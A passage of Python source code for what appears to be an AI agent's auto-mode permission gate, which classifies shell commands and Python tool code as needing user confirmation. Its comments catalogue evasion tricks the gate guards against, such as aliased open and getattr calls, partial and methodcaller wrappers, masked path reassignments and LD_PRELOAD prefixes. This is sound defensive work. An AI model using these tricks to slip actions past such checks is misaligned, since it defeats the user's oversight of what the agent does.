|
|
pending_flag_value = "=" not in token and (
|
|
(current_command == "date" and flag_head in _DATE_DISPLAY_VALUE_FLAGS)
|
|
or flag_head in _SECOND_POSITIONAL_VALUE_FLAGS.get(current_command, ())
|
|
)
|
|
if not prefix_pending:
|
|
expect_command = False
|
|
continue
|
|
if not expect_command:
|
|
raw_pos = token.strip(";&|()`{}")
|
|
# uniq [INPUT [OUTPUT]] writes its second file positional; count file
|
|
# positionals and ask on the second one. A preceding option's value
|
|
# (uniq -f 2) is consumed via pending_flag_value, so a file literally
|
|
# named with digits (uniq 123 out) is still counted.
|
|
if current_command in _AUTO_SECOND_POSITIONAL_WRITES:
|
|
if pending_flag_value:
|
|
pending_flag_value = False
|
|
elif raw_pos:
|
|
positional_args += 1
|
|
if positional_args >= 2:
|
|
return True
|
|
# hostname NAME sets the hostname; date <timestamp> sets the clock. A
|
|
# positional past a display flag's value therefore mutates state and
|
|
# asks (date's +FORMAT display token stays read-only).
|
|
elif current_command in _AUTO_ARG_SENSITIVE_COMMANDS:
|
|
if pending_flag_value:
|
|
pending_flag_value = False
|
|
elif raw_pos and not (current_command == "date" and raw_pos.startswith("+")):
|
|
return True
|
|
continue
|
|
if _ASSIGNMENT_RE.match(token):
|
|
# Benign NAME=value prefixes are skipped, but ones that change
|
|
# command lookup/loading (PATH, LD_PRELOAD, ...) fail closed.
|
|
if _env_assignment_is_unsafe(token.split("=", 1)[0]):
|
|
return True
|
|
continue
|
|
if prefix_pending and token.lstrip("-").isdigit():
|
|
continue
|
|
raw = token.strip(";&|()`{}")
|
|
# A path-qualified command (./ls, /tmp/cat) is an arbitrary executable,
|
|
# not the trusted system utility its basename matches; ask first.
|
|
if "/" in raw or "\\" in raw:
|
|
return True
|
|
base = os.path.basename(raw).lower()
|
|
stem, ext = os.path.splitext(base)
|
|
if ext in {".exe", ".com", ".bat", ".cmd"}:
|
|
base = stem
|
|
if base in _AUTO_SAFE_WRAPPERS:
|
|
prefix_pending = True
|
|
# Track the wrapper so its own flags (env --chdir) are checked;
|
|
# the real command overwrites this when it is reached.
|
|
current_command = base
|
|
pending_flag_value = False
|
|
continue
|
|
if base not in _AUTO_SAFE_TERMINAL_COMMANDS:
|
|
return True
|
|
current_command = base
|
|
expect_command = False
|
|
prefix_pending = False
|
|
positional_args = 0
|
|
pending_flag_value = False
|
|
return False
|
|
|
|
|
|
def _python_is_potentially_unsafe(code: str) -> bool:
|
|
"""Classify python-tool code for auto mode (fail closed)."""
|
|
if not code or not code.strip():
|
|
return False
|
|
# Anything the sandbox's static analysis already objects to would be
|
|
# refused at execution time; surface it as a confirmation first.
|
|
if _check_code_safety(code) is not None:
|
|
return True
|
|
try:
|
|
tree = ast.parse(code)
|
|
except SyntaxError:
|
|
return False # runs into a normal traceback; nothing to guard
|
|
# Names bound to the builtin open (f = open; from builtins import open as f;
|
|
# f, _ = (open, print)) so an aliased writer call is still checked below.
|
|
# builtins_aliases tracks `import builtins [as b]` for builtins.exec/eval.
|
|
open_aliases = {"open"}
|
|
# Attribute names bound to open (box.f = open), so a later box.f('out', 'w')
|
|
# write is still gated even though the callable is an attribute, not a name.
|
|
attr_open_aliases: "set[str]" = set()
|
|
builtins_aliases = {"builtins", "__builtins__"}
|
|
# Names bound to a dynamic lookup (rm = getattr(os, "remove");
|
|
# f = globals()["open"]) whose calls cannot be proven read-only, so they
|
|
# fail closed.
|
|
dynamic_aliases = set()
|
|
# Names bound to a dynamic-code builtin, including aliased ones
|
|
# (from builtins import eval as e; e = builtins.exec), so a call or
|
|
# reference through the alias fails closed too. compile() builds a code
|
|
# object that FunctionType/exec can then run.
|
|
code_exec_aliases = {"exec", "eval", "__import__", "breakpoint", "compile"}
|
|
# Names bound to a string literal (base = '/etc'), so a sensitive path
|
|
# split through a variable (base + '/passwd') folds and is caught.
|
|
literal_str_vars: "dict[str, str]" = {}
|
|
# Pathlib constructor names incl. import aliases (from pathlib import Path as
|
|
# P), os.path.join names bound directly (from os.path import join as j), and
|
|
# writer functions imported as bare names (from numpy import save).
|
|
path_ctor_aliases = set(_PATH_CTORS)
|
|
pathjoin_aliases: "set[str]" = set()
|
|
writer_aliases: "set[str]" = set()
|
|
# Module names bound to os/posix (import os as o), so o.open(...) is still
|
|
# recognized as the low-level create/write that os.open is.
|
|
os_aliases = {"os", "posix"}
|
|
# Module names bound to a pickle-backed loader (import torch as t), so
|
|
# t.load(...) is still gated as a code-executing deserialize.
|
|
load_module_aliases = set(_AUTO_UNSAFE_PY_LOAD_MODULES)
|
|
# Names bound to the builtin getattr (g = getattr), so a dynamic lookup
|
|
# aliased through it (rm = g(os, "remove"); rm("f")) still fails closed.
|
|
getattr_aliases = {"getattr"}
|
|
# Names bound to functools.partial, so a partial that wraps open/a writer
|
|
# (w = partial(open, mode="w"); w("out.txt")) fails closed when w is called.
|
|
partial_aliases: "set[str]" = set()
|
|
# Archive constructors imported bare (from zipfile import ZipFile), so
|
|
# ZipFile(name, "w") is gated like the zipfile.ZipFile attribute call.
|
|
archive_ctor_aliases: "set[str]" = set()
|
|
# operator.methodcaller("write_text") is dynamic dispatch, like getattr.
|
|
operator_aliases = {"operator"}
|
|
methodcaller_aliases: "set[str]" = set()
|
|
# logging.basicConfig(filename=...) opens a log file for write.
|
|
basicconfig_aliases: "set[str]" = set()
|
|
# fileinput.input(..., inplace=True) rewrites a file in place.
|
|
fileinput_aliases = {"fileinput"}
|
|
# Higher-order invokers (map/filter/starmap/reduce) call their first arg, so
|
|
# one handed a writer (map(open, ...)) writes without a direct open() site.
|
|
# Track aliases (m = map; from itertools import starmap as sm) so an aliased
|
|
# invoker is still checked; the write-callable gate keeps map(len, ...) safe.
|
|
invoker_aliases = set(_HIGHER_ORDER_INVOKERS)
|
|
|
|
def _is_dynamic_namespace(node) -> bool:
|
|
# A namespace mapping whose .get/.pop/.setdefault (or subscript) can return
|
|
# open/eval/a mutator: globals()/locals()/vars(...), any X.__dict__,
|
|
# __builtins__, sys.modules. Looking a name up through one is as dynamic as
|
|
# getattr, so a value fetched from it fails closed.
|
|
if isinstance(node, ast.Attribute):
|
|
if node.attr == "__dict__":
|
|
return True
|
|
return (
|
|
node.attr == "modules"
|
|
and isinstance(node.value, ast.Name)
|
|
and node.value.id == "sys"
|
|
)
|
|
if isinstance(node, ast.Name):
|
|
return node.id in builtins_aliases
|
|
if isinstance(node, ast.Call) and isinstance(node.func, ast.Name):
|
|
return node.func.id in ("globals", "locals", "vars")
|
|
return False
|
|
|
|
def _methodcaller_writes(call) -> bool:
|
|
# operator.methodcaller("write_text", ...) / methodcaller(name): unsafe
|
|
# when the method name is a known writer/mutator, or non-constant (cannot
|
|
# be proven read-only).
|
|
if not call.args:
|
|
return False
|
|
first = call.args[0]
|
|
if not (isinstance(first, ast.Constant) and isinstance(first.value, str)):
|
|
return True
|
|
return first.value in _AUTO_UNSAFE_PY_ATTRS or first.value in _AUTO_UNSAFE_PY_WRITE_METHODS
|
|
|
|
def _fileinput_inplace(call) -> bool:
|
|
# fileinput.input(..., inplace=True) opens each file for in-place rewrite.
|
|
if _has_kwarg_splat(call):
|
|
return True
|
|
for kw in call.keywords or []:
|
|
if kw.arg == "inplace":
|
|
v = kw.value
|
|
if isinstance(v, ast.Constant):
|
|
return bool(v.value)
|
|
return True # dynamic inplace flag: cannot prove read-only
|
|
return False
|
|
|
|
def _basicconfig_writes(call) -> bool:
|
|
# logging.basicConfig(filename=...) creates/opens a log file for writing.
|
|
if _has_kwarg_splat(call):
|
|
return True
|
|
return any(kw.arg == "filename" for kw in call.keywords or [])
|
|
|
|
def _wraps_write_callable(arg) -> bool:
|
|
# The callable a partial wraps (partial(open, ...)); True when calling it
|
|
# could create/overwrite a file or resolve a dynamic/mutating function.
|
|
if isinstance(arg, ast.Name):
|
|
return (
|
|
arg.id in open_aliases
|
|
or arg.id in dynamic_aliases
|
|
or arg.id in code_exec_aliases
|
|
or arg.id in getattr_aliases
|
|
or arg.id in writer_aliases
|
|
or arg.id in archive_ctor_aliases
|
|
)
|
|
if isinstance(arg, ast.Attribute):
|
|
return (
|
|
arg.attr == "open"
|
|
or arg.attr in _AUTO_UNSAFE_PY_ATTRS
|
|
or arg.attr in _AUTO_UNSAFE_PY_WRITE_METHODS
|
|
or arg.attr in _ARCHIVE_CTOR_NAMES
|
|
)
|
|
return False
|
|
|
|
def _passed_write_callable(arg) -> bool:
|
|
# A concrete write callable handed as an argument to another call: a
|
|
# name bound to open / a writer / an archive constructor, or an
|
|
# attribute reference to a writer method / mutating os attr / archive
|
|
# ctor / .open. Unlike _wraps_write_callable this omits the fail-closed
|
|
# dynamic / getattr / code-exec poison aliases, which are already gated
|
|
# where they are *called* and would over-trigger when a benign alias is
|
|
# merely passed or printed (print(getattr(o, 'name'))).
|
|
if isinstance(arg, ast.Name):
|
|
return (
|
|
arg.id in open_aliases or arg.id in writer_aliases or arg.id in archive_ctor_aliases
|
|
)
|
|
if isinstance(arg, ast.Attribute):
|
|
return (
|
|
arg.attr == "open"
|
|
or arg.attr in _AUTO_UNSAFE_PY_ATTRS
|
|
or arg.attr in _AUTO_UNSAFE_PY_WRITE_METHODS
|
|
or arg.attr in _ARCHIVE_CTOR_NAMES
|
|
)
|
|
return False
|
|
|
|
# Names bound more than once cannot be folded to a single literal: this scan
|
|
# visits every assignment before any call is checked, so a later benign
|
|
# reassignment (base = '/etc'; open(base + '/passwd'); base = 'data') would
|
|
# otherwise mask the earlier sensitive value and auto-approve. Count every
|
|
# binding target up front and poison multiply-bound names to the escape
|
|
# sentinel so any path folded from them fails closed (asks) instead.
|
|
assign_counts: "dict[str, int]" = {}
|
|
for node in ast.walk(tree):
|
|
binding_targets = []
|
|
if isinstance(node, ast.Assign):
|
|
binding_targets = node.targets
|
|
elif isinstance(node, (ast.AnnAssign, ast.AugAssign)):
|
|
binding_targets = [node.target]
|
|
for target in binding_targets:
|
|
for sub in ast.walk(target):
|
|
if isinstance(sub, ast.Name):
|
|
assign_counts[sub.id] = assign_counts.get(sub.id, 0) + 1
|
|
multi_assigned_names = {name for name, count in assign_counts.items() if count > 1}
|
|
for node in ast.walk(tree):
|
|
if isinstance(node, ast.Import):
|
|
for alias in node.names:
|
|
if alias.name == "builtins":
|
|
builtins_aliases.add(alias.asname or "builtins")
|
|
elif alias.name in ("os", "posix"):
|
|
os_aliases.add(alias.asname or alias.name)
|
|
elif alias.name in _AUTO_UNSAFE_PY_LOAD_MODULES:
|
|
load_module_aliases.add(alias.asname or alias.name)
|
|
elif alias.name == "operator":
|
|
operator_aliases.add(alias.asname or "operator")
|
|
elif alias.name == "fileinput":
|
|
fileinput_aliases.add(alias.asname or "fileinput")
|
|
elif isinstance(node, ast.ImportFrom):
|
|
if node.module == "operator":
|
|
for alias in node.names:
|
|
if alias.name == "methodcaller":
|
|
methodcaller_aliases.add(alias.asname or "methodcaller")
|
|
if node.module == "logging":
|
|
for alias in node.names:
|
|
if alias.name == "basicConfig":
|
|
basicconfig_aliases.add(alias.asname or "basicConfig")
|
|
if node.module == "builtins":
|
|
for alias in node.names:
|
|
if alias.name == "open":
|
|
open_aliases.add(alias.asname or "open")
|
|
elif alias.name in code_exec_aliases:
|
|
code_exec_aliases.add(alias.asname or alias.name)
|
|
if node.module in _OPEN_ALIAS_MODULES:
|
|
for alias in node.names:
|
|
if alias.name == "open":
|
|
# gzip/bz2/lzma open(file, mode) writes on "w"/"a"/"x",
|
|
# mode in the 2nd arg like builtin open.
|
|
open_aliases.add(alias.asname or "open")
|
|
if node.module == "pathlib":
|
|
for alias in node.names:
|
|
if alias.name in _PATH_CTORS:
|
|
path_ctor_aliases.add(alias.asname or alias.name)
|
|
if node.module in ("os.path", "posixpath", "ntpath"):
|
|
for alias in node.names:
|
|
if alias.name == "join":
|
|
pathjoin_aliases.add(alias.asname or "join")
|
|
if node.module == "functools":
|
|
for alias in node.names:
|
|
if alias.name == "partial":
|
|
partial_aliases.add(alias.asname or "partial")
|
|
if node.module in _ARCHIVE_CTOR_MODULES:
|
|
_ctor = _ARCHIVE_CTOR_MODULES[node.module]
|
|
for alias in node.names:
|
|
if alias.name == _ctor:
|
|
archive_ctor_aliases.add(alias.asname or _ctor)
|
|
for alias in node.names:
|
|
if alias.name in _AUTO_UNSAFE_PY_WRITE_METHODS:
|
|
writer_aliases.add(alias.asname or alias.name)
|
|
# from itertools import starmap as sm / from functools import
|
|
# reduce as r: an aliased higher-order invoker.
|
|
if alias.name in _HIGHER_ORDER_INVOKERS:
|
|
invoker_aliases.add(alias.asname or alias.name)
|
|
elif isinstance(node, (ast.Assign, ast.AnnAssign)) and node.value is not None:
|
|
value = node.value
|
|
# AnnAssign (f: object = open) has a single target, no destructuring.
|
|
if isinstance(node, ast.AnnAssign):
|
|
assign_targets = [node.target]
|
|
else:
|
|
assign_targets = node.targets
|
|
targets = [t.id for t in assign_targets if isinstance(t, ast.Name)]
|
|
attr_targets = [t.attr for t in assign_targets if isinstance(t, ast.Attribute)]
|
|
if isinstance(value, ast.Name) and value.id in open_aliases:
|
|
open_aliases.update(targets)
|
|
attr_open_aliases.update(attr_targets) # box.f = open
|
|
elif isinstance(value, ast.Name) and value.id in getattr_aliases:
|
|
getattr_aliases.update(targets) # g = getattr
|
|
elif isinstance(value, ast.Name) and value.id in partial_aliases:
|
|
partial_aliases.update(targets) # p = partial
|
|
elif isinstance(value, ast.Name) and value.id in writer_aliases:
|
|
writer_aliases.update(targets) # s = save (numpy save alias)
|
|
elif isinstance(value, ast.Name) and value.id in archive_ctor_aliases:
|
|
archive_ctor_aliases.update(targets) # z = ZipFile
|
|
elif isinstance(value, ast.Name) and value.id in invoker_aliases:
|
|
invoker_aliases.update(targets) # m = map
|
|
elif isinstance(value, ast.Name) and value.id in path_ctor_aliases:
|
|
path_ctor_aliases.update(targets) # P = Path
|
|
elif isinstance(value, ast.Name) and value.id in pathjoin_aliases:
|
|
pathjoin_aliases.update(targets) # j = join
|
|
elif isinstance(value, ast.Attribute) and value.attr == "join":
|
|
pathjoin_aliases.update(targets) # j = os.path.join
|
|
elif isinstance(value, ast.Attribute) and value.attr in _PATH_CTORS:
|
|
path_ctor_aliases.update(targets) # P = pathlib.Path
|
|
elif (
|
|
isinstance(value, ast.Attribute)
|
|
and value.attr == "open"
|
|
and isinstance(value.value, ast.Name)
|
|
and value.value.id in builtins_aliases
|
|
):
|
|
open_aliases.update(targets) # f = builtins.open
|
|
elif (
|
|
isinstance(value, ast.Attribute)
|
|
and value.attr in code_exec_aliases
|
|
and isinstance(value.value, ast.Name)
|
|
and value.value.id in builtins_aliases
|
|
):
|
|
code_exec_aliases.update(targets) # e = builtins.eval
|
|
elif isinstance(value, ast.Attribute) and value.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
|
|
writer_aliases.update(targets) # s = np.save
|
|
elif isinstance(value, ast.Attribute) and value.attr == "open":
|
|
# A captured .open bound method (p = Path('out').open) opens a file
|
|
# on any call; its mode position varies (Path.open mode is 1st arg,
|
|
# builtin open's is 2nd), so fail closed on the call rather than
|
|
# guess the write mode.
|
|
dynamic_aliases.update(targets) # p = Path('out').open; p('w')
|
|
elif isinstance(value, ast.Attribute) and value.attr in _ARCHIVE_CTOR_NAMES:
|
|
archive_ctor_aliases.update(targets) # z = zipfile.ZipFile
|
|
elif isinstance(value, ast.Subscript):
|
|
dynamic_aliases.update(targets) # f = globals()["open"]
|
|
elif (
|
|
isinstance(value, ast.Call)
|
|
and isinstance(value.func, ast.Name)
|
|
and value.func.id in getattr_aliases
|
|
):
|
|
dynamic_aliases.update(targets) # rm = getattr(os, "remove") / g(...)
|
|
elif (
|
|
isinstance(value, ast.Call)
|
|
and isinstance(value.func, ast.Attribute)
|
|
and value.func.attr in ("get", "pop", "setdefault")
|
|
and _is_dynamic_namespace(value.func.value)
|
|
):
|
|
# f = __builtins__.__dict__.get("open") / globals().get("open"):
|
|
# a namespace lookup can return open/eval, so poison like getattr.
|
|
dynamic_aliases.update(targets)
|
|
elif (
|
|
isinstance(value, ast.Call)
|
|
and (
|
|
(isinstance(value.func, ast.Name) and value.func.id in partial_aliases)
|
|
or (isinstance(value.func, ast.Attribute) and value.func.attr == "partial")
|
|
)
|
|
and value.args
|
|
and _wraps_write_callable(value.args[0])
|
|
):
|
|
dynamic_aliases.update(targets) # w = partial(open, mode="w")
|
|
elif (
|
|
isinstance(value, ast.Call)
|
|
and (
|
|
(isinstance(value.func, ast.Name) and value.func.id in methodcaller_aliases)
|
|
or (
|
|
isinstance(value.func, ast.Attribute)
|
|
and value.func.attr == "methodcaller"
|
|
and isinstance(value.func.value, ast.Name)
|
|
and value.func.value.id in operator_aliases
|
|
)
|
|
)
|
|
and _methodcaller_writes(value)
|
|
):
|
|
dynamic_aliases.update(targets) # w = methodcaller("write_text", ...)
|
|
elif isinstance(value, ast.Constant) and isinstance(value.value, str):
|
|
# base = '/etc' -> resolve base in a later folded path. A name
|
|
# bound more than once is poisoned (\x02) so it fails closed.
|
|
for t in targets:
|
|
literal_str_vars[t] = "\x02" if t in multi_assigned_names else value.value
|
|
elif isinstance(value, (ast.Call, ast.BinOp, ast.Name, ast.JoinedStr)):
|
|
# p = Path('/etc'); q = p; r = os.path.join('/etc','x'): record a
|
|
# fully-literal folded path so a later reuse (p / 'passwd') folds.
|
|
folded = _folded_path(value, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
|
|
if folded is not None and "\x00" not in folded and "\x02" not in folded:
|
|
for t in targets:
|
|
literal_str_vars[t] = "\x02" if t in multi_assigned_names else folded
|
|
elif isinstance(value, (ast.Tuple, ast.List)):
|
|
# Destructuring binds each element like a single assignment, so an
|
|
# aliased callable (f, _ = (open, print)) AND a string / path
|
|
# literal (base, leaf = ('/etc', 'passwd')) both propagate; without
|
|
# the latter a path folded from base/leaf would miss the sensitive
|
|
# target and auto-approve.
|
|
for target in assign_targets:
|
|
if isinstance(target, (ast.Tuple, ast.List)) and len(target.elts) == len(
|
|
value.elts
|
|
):
|
|
for tgt_el, val_el in zip(target.elts, value.elts):
|
|
if not isinstance(tgt_el, ast.Name):
|
|
continue
|
|
tid = tgt_el.id
|
|
if isinstance(val_el, ast.Name) and val_el.id in open_aliases:
|
|
open_aliases.add(tid)
|
|
elif isinstance(val_el, ast.Name) and val_el.id in getattr_aliases:
|
|
getattr_aliases.add(tid)
|
|
elif isinstance(val_el, ast.Name) and val_el.id in partial_aliases:
|
|
partial_aliases.add(tid)
|
|
elif isinstance(val_el, ast.Name) and val_el.id in writer_aliases:
|
|
writer_aliases.add(tid) # s, _ = (save, 1)
|
|
elif isinstance(val_el, ast.Name) and val_el.id in archive_ctor_aliases:
|
|
archive_ctor_aliases.add(tid) # z, _ = (ZipFile, 1)
|
|
elif isinstance(val_el, ast.Constant) and isinstance(val_el.value, str):
|
|
literal_str_vars[tid] = (
|
|
"\x02" if tid in multi_assigned_names else val_el.value
|
|
)
|
|
elif isinstance(val_el, (ast.Call, ast.BinOp, ast.Name, ast.JoinedStr)):
|
|
folded = _folded_path(
|
|
val_el, literal_str_vars, path_ctor_aliases, pathjoin_aliases
|
|
)
|
|
if (
|
|
folded is not None
|
|
and "\x00" not in folded
|
|
and "\x02" not in folded
|
|
):
|
|
literal_str_vars[tid] = (
|
|
"\x02" if tid in multi_assigned_names else folded
|
|
)
|
|
elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)):
|
|
# A callable captured as a parameter default (def f(o=open): o('x','w'))
|
|
# binds that parameter to the same alias set, so a later call through
|
|
# the parameter is still gated. defaults align to the tail of
|
|
# posonlyargs+args; kw_defaults align 1:1 with kwonlyargs (None = none).
|
|
_a = node.args
|
|
_defaulted = list(
|
|
zip(
|
|
(_a.posonlyargs + _a.args)[
|
|
len(_a.posonlyargs) + len(_a.args) - len(_a.defaults) :
|
|
],
|
|
_a.defaults,
|
|
)
|
|
) + [(p, d) for p, d in zip(_a.kwonlyargs, _a.kw_defaults) if d is not None]
|
|
for _param, _default in _defaulted:
|
|
if isinstance(_default, ast.Name):
|
|
_did = _default.id
|
|
if _did in open_aliases:
|
|
open_aliases.add(_param.arg)
|
|
elif _did in writer_aliases:
|
|
writer_aliases.add(_param.arg)
|
|
elif _did in archive_ctor_aliases:
|
|
archive_ctor_aliases.add(_param.arg)
|
|
elif _did in getattr_aliases:
|
|
getattr_aliases.add(_param.arg)
|
|
elif _did in partial_aliases:
|
|
partial_aliases.add(_param.arg)
|
|
elif _did in code_exec_aliases:
|
|
code_exec_aliases.add(_param.arg)
|
|
elif _did in dynamic_aliases:
|
|
dynamic_aliases.add(_param.arg)
|
|
elif isinstance(_default, ast.Attribute):
|
|
# An attribute writer / archive ctor / captured .open used as
|
|
# a default (def f(s=np.save), def f(z=zipfile.ZipFile),
|
|
# def f(o=Path('x').open)) binds the parameter like the
|
|
# equivalent assignment; a benign attribute (np.mean) does not.
|
|
if _default.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
|
|
writer_aliases.add(_param.arg)
|
|
elif _default.attr in _ARCHIVE_CTOR_NAMES:
|
|
archive_ctor_aliases.add(_param.arg)
|
|
elif _default.attr == "open":
|
|
dynamic_aliases.add(_param.arg)
|
|
elif (
|
|
isinstance(_default, ast.Call)
|
|
and (
|
|
(
|
|
isinstance(_default.func, ast.Name)
|
|
and _default.func.id in partial_aliases
|
|
)
|
|
or (
|
|
isinstance(_default.func, ast.Attribute)
|
|
and _default.func.attr == "partial"
|
|
)
|
|
)
|
|
and _default.args
|
|
and _wraps_write_callable(_default.args[0])
|
|
):
|
|
dynamic_aliases.add(_param.arg) # def f(w=partial(open, mode="w"))
|
|
try:
|
|
for node in ast.walk(tree):
|
|
if isinstance(node, ast.Import):
|
|
for alias in node.names:
|
|
if alias.name.split(".")[0] in _AUTO_UNSAFE_PY_MODULES:
|
|
return True
|
|
elif isinstance(node, ast.ImportFrom):
|
|
if node.module and node.module.split(".")[0] in _AUTO_UNSAFE_PY_MODULES:
|
|
return True
|
|
# from-imports can bind mutating callables to bare names
|
|
# (from os import remove [as rm]); star imports hide anything.
|
|
for alias in node.names:
|
|
if alias.name == "*" or alias.name in _AUTO_UNSAFE_PY_ATTRS:
|
|
return True
|
|
# os.open imported as a bare callable is a low-level
|
|
# create/write, like the os.open attribute call below.
|
|
if alias.name == "open" and node.module in ("os", "posix"):
|
|
return True
|
|
elif isinstance(node, ast.Attribute):
|
|
# Any reference to a mutating attribute fails closed, even
|
|
# without an immediate call (rm = os.remove; rm("x")).
|
|
if node.attr in _AUTO_UNSAFE_PY_ATTRS:
|
|
return True
|
|
# builtins.exec / builtins.eval / builtins.__import__ (and
|
|
# compile/breakpoint) are dynamic code execution, matching the
|
|
# bare-name code_exec_aliases path; __builtins__.__import__(...)
|
|
# is a dynamic import that dodges the static import check.
|
|
if (
|
|
node.attr in ("exec", "eval", "__import__", "breakpoint", "compile")
|
|
and isinstance(node.value, ast.Name)
|
|
and node.value.id in builtins_aliases
|
|
):
|
|
return True
|
|
elif isinstance(node, ast.Name):
|
|
if node.id in code_exec_aliases:
|
|
return True
|
|
elif isinstance(node, ast.Constant):
|
|
# Credential paths / parent traversal in a string or bytes
|
|
# literal (open('/etc/passwd') and open(b'/etc/passwd')), or a
|
|
# glob that resolves to one (glob.glob('/e??/passwd')).
|
|
val = node.value
|
|
if isinstance(val, bytes):
|
|
val = val.decode("latin-1", "ignore")
|
|
if isinstance(val, str) and (
|
|
_references_sensitive_path(val) or _glob_token_sensitive(val)
|
|
):
|
|
return True
|
|
elif isinstance(node, (ast.BinOp, ast.JoinedStr)):
|
|
# A sensitive path concatenated from literals ('/etc'+'/passwd'),
|
|
# a pathlib / chain, an f-string (f'/proc/{pid}/environ'), a
|
|
# dynamic segment under a sensitive dir (f'/etc/{name}'), or one
|
|
# split through a literal variable (base = '/etc'; base+'/passwd').
|
|
if _folded_is_sensitive(
|
|
_folded_path(node, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
|
|
):
|
|
return True
|
|
elif isinstance(node, ast.Call):
|
|
# A sensitive path composed via os.path.join('/etc', name).
|
|
if _folded_is_sensitive(
|
|
_folded_path(node, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
|
|
):
|
|
return True
|
|
func = node.func
|
|
# x.__call__(args) is just x(args): unwrap so open.__call__('o',
|
|
# 'w') / save.__call__(...) reach the open/writer checks below
|
|
# instead of looking like a harmless ".__call__" attribute call.
|
|
if isinstance(func, ast.Attribute) and func.attr == "__call__":
|
|
func = func.value
|
|
if isinstance(func, (ast.Call, ast.Subscript)):
|
|
return True # calling a call/subscript result is dynamic
|
|
# A concrete write callable (open/writer/archive-ctor alias, or a
|
|
# writer/mutating attribute) handed as an argument to any call
|
|
# escapes into a helper that can invoke it without a direct
|
|
# open()/writer site -- the same bypass the map/starmap/reduce
|
|
# branches below gate, but through a user-defined helper
|
|
# (def run(fn): fn('o','w').write('x'); run(open)). A benign
|
|
# callable argument (run(len)) is unaffected.
|
|
if any(_passed_write_callable(a) for a in node.args) or any(
|
|
_passed_write_callable(kw.value) for kw in node.keywords
|
|
):
|
|
return True
|
|
if isinstance(func, ast.Name):
|
|
if func.id in dynamic_aliases:
|
|
return True # call through a getattr alias is dynamic
|
|
if func.id in open_aliases and _builtin_open_writes(node):
|
|
return True
|
|
# A writer imported as a bare name (from numpy import save).
|
|
if func.id in writer_aliases:
|
|
return True
|
|
# A bare archive constructor (from zipfile import ZipFile)
|
|
# takes the mode as its 2nd arg like open, so ZipFile(x, "w")
|
|
# writes but ZipFile(x) reads.
|
|
if func.id in archive_ctor_aliases and _builtin_open_writes(node):
|
|
return True
|
|
# A bare-imported logging.basicConfig(filename=...) opens a
|
|
# log file for writing (from logging import basicConfig).
|
|
if func.id in basicconfig_aliases and _basicconfig_writes(node):
|
|
return True
|
|
# A writer/open alias handed to a higher-order invoker
|
|
# (map(open, names, modes), starmap(np.save, ...), or an
|
|
# aliased m = map / sm = starmap) is called without a direct
|
|
# open(...)/save(...) site; the callable is the first
|
|
# positional arg. A benign map(len, ...) is unaffected.
|
|
if (
|
|
func.id in invoker_aliases
|
|
and node.args
|
|
and _wraps_write_callable(node.args[0])
|
|
):
|
|
return True
|
|
elif isinstance(func, ast.Attribute):
|
|
# Writer methods persist to disk without open() (np.save,
|
|
# img.save, plt.savefig, df.to_csv, json.dump); ask before
|
|
# they mutate the workdir in auto mode.
|
|
if func.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
|
|
return True
|
|
# logging.basicConfig(filename=...) opens a log file for write.
|
|
if func.attr == "basicConfig" and _basicconfig_writes(node):
|
|
return True
|
|
# A qualified higher-order invoker (itertools.starmap(open, ...),
|
|
# functools.reduce(open, ...)) calls its first arg like the bare
|
|
# map/filter form; the writer-check on that arg keeps a benign
|
|
# itertools.starmap(len, ...) / df.map(transform) safe.
|
|
if (
|
|
func.attr in _HIGHER_ORDER_INVOKERS
|
|
and node.args
|
|
and _wraps_write_callable(node.args[0])
|
|
):
|
|
return True
|
|
# fileinput.input(..., inplace=True) rewrites a file in place;
|
|
# the default fileinput.input(...) only reads, so gate inplace.
|
|
if (
|
|
func.attr == "input"
|
|
and isinstance(func.value, ast.Name)
|
|
and func.value.id in fileinput_aliases
|
|
and _fileinput_inplace(node)
|
|
):
|
|
return True
|
|
# os.open() always creates/writes a file descriptor
|
|
# (tracked through import aliases: import os as o; o.open()).
|
|
if (
|
|
func.attr == "open"
|
|
and isinstance(func.value, ast.Name)
|
|
and func.value.id in os_aliases
|
|
):
|
|
return True
|
|
# A pickle-backed loader (torch.load, joblib.load) can execute
|
|
# code embedded in the file it deserializes.
|
|
if (
|
|
func.attr == "load"
|
|
and isinstance(func.value, ast.Name)
|
|
and func.value.id in load_module_aliases
|
|
):
|
|
return True
|
|
if func.attr == "open" and _attr_open_writes(node):
|
|
return True
|
|
# An open bound onto an attribute (box.f = open; box.f('o','w'))
|
|
# writes on 'w'/'a'/'x' like the builtin, so gate the attr name.
|
|
if func.attr in attr_open_aliases and _builtin_open_writes(node):
|
|
return True
|
|
# ZipFile/TarFile/GzipFile/BZ2File/LZMAFile take the mode as
|
|
# the 2nd arg (like builtin open), so ZipFile(name, "w") writes
|
|
# but ZipFile(name) reads.
|
|
if func.attr in _ARCHIVE_CTOR_NAMES and _builtin_open_writes(node):
|
|
return True
|
|
# Enumerating a directory outside the sandbox reads host
|
|
# filenames (and enables reading their contents) the direct
|
|
# /etc/passwd checks would prompt for: Path('/etc').iterdir(),
|
|
# os.scandir('/etc'), os.listdir('/home'), os.walk('/'),
|
|
# Path('/home').glob('*'), glob.glob('/home/*'). Gate when the
|
|
# target dir folds to an absolute/tilde/sensitive path; a
|
|
# relative dir (Path('.').iterdir(), glob.glob('src/*')) stays
|
|
# safe, and an unresolved dynamic dir is left to other checks.
|
|
_enum_dir = None
|
|
if func.attr == "iterdir":
|
|
_enum_dir = func.value
|
|
elif func.attr in ("glob", "rglob", "iglob"):
|
|
# Path('/home').glob('*') enumerates the receiver dir;
|
|
# glob.glob('/home/*') enumerates the pattern's root dir.
|
|
_recv = _folded_path(
|
|
func.value, literal_str_vars, path_ctor_aliases, pathjoin_aliases
|
|
)
|
|
if isinstance(_recv, str) and _recv not in ("", "\x00"):
|
|
_enum_dir = func.value
|
|
elif node.args:
|
|
_enum_dir = node.args[0]
|
|
elif (
|
|
func.attr in ("scandir", "listdir", "walk")
|
|
and isinstance(func.value, ast.Name)
|
|
and func.value.id in os_aliases
|
|
and node.args
|
|
):
|
|
_enum_dir = node.args[0]
|
|
if _enum_dir is not None:
|
|
_folded_dir = _folded_path(
|
|
_enum_dir, literal_str_vars, path_ctor_aliases, pathjoin_aliases
|
|
)
|
|
if isinstance(_folded_dir, str) and (
|
|
